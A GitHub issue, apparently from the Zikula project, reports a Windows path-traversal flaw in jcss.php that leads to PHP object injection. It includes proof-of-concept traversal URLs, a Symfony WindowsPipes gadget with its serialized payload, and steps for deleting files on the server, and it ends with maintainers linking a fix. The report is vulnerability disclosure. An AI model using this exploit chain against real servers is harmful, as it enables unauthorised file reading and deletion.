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"jcss.php" file read vulnerability (windows environment) #3237

Xyntax opened this issue Dec 3, 2016 · 3 comments


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commented Dec 3, 2016

relative codes in ./jcss.php :

$f = (isset($_GET['f']) ? filter_var($_GET['f'], FILTER_SANITIZE_STRING) : false);

if (!$f) {
    header('HTTP/1.0 404 Not Found');

// clean $f
$f = preg_replace('`/`', '', $f);

// set full path to the file
$f = $ZConfig['System']['temp'] . '/Theme_cache/' . $f;

if (!is_readable($f)) {
    header('HTTP/1.0 400 Bad request');
    die('ERROR: Requested file not readable.');

// child lock
$signingKey = md5(serialize($ZConfig['DBInfo']['databases']['default']));

$contents = file_get_contents($f);
if (!DataUtil::is_serialized($contents, false)) {
    header('HTTP/1.0 500 Internal error');
    die('ERROR: Corrupted file.');

$dataArray = unserialize($contents);

On windows platform we can bypass regex filter with ..\
PoC: http://localhost/zikula4/jcss.php?f=..\..\..\..\..\jcss.php

the result of file_get_contents() was brought into unserialize(), when unserialize() is used on user supplied data it often leads to PHP Object Injection.

here we can launch further attacks with __destruct() in ./vendor/symfony/symfony/src/Symfony/Component/Process/Pipes/WindowsPipes.php.

PoC: delete files on windows server.

Add a public func in class WindowsPipes:

public function setattr(){
		$this->files = array('D:\phpStudy\WWW\zikula4\userdata\delete.txt'); // file U wants to delete
		$this->fileHandles = array();	

Serialize an WindowsPipes object and write it to file:

$obj = new WindowsPipes(true,null);


O:44:"Symfony\Component\Process\Pipes\WindowsPipes":8:{s:51:" Symfony\Component\Process\Pipes\WindowsPipes files";a:1:{i:0;s:21:".\userdata\delete.txt";}s:57:" Symfony\Component\Process\Pipes\WindowsPipes fileHandles";a:0:{}s:55:" Symfony\Component\Process\Pipes\WindowsPipes readBytes";a:2:{i:1;i:0;i:2;i:0;}s:59:" Symfony\Component\Process\Pipes\WindowsPipes disableOutput";b:1;s:5:"pipes";a:0:{}s:58:" Symfony\Component\Process\Pipes\AbstractPipes inputBuffer";s:0:"";s:52:" Symfony\Component\Process\Pipes\AbstractPipes input";N;s:54:" Symfony\Component\Process\Pipes\AbstractPipes blocked";b:1;}

Upload exp.txt to ./userdata folder on windows server.
Then request http://localhost/zikula4/jcss.php?f=..\..\..\..\..\userdata\exp.txt, and your target file will be deleted. (D:\phpStudy\WWW\zikula4\userdata\delete.txt in my test).

@Guite Guite added this to the 1.3.11 milestone Dec 3, 2016

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commented Dec 3, 2016

Hi @Xyntax

can you please verify whether #3240 correctly fixes this issue?


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@Guite Guite closed this in 3ab9614 Dec 3, 2016


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commented Dec 3, 2016

Fixed in 1.3 and 1.4:


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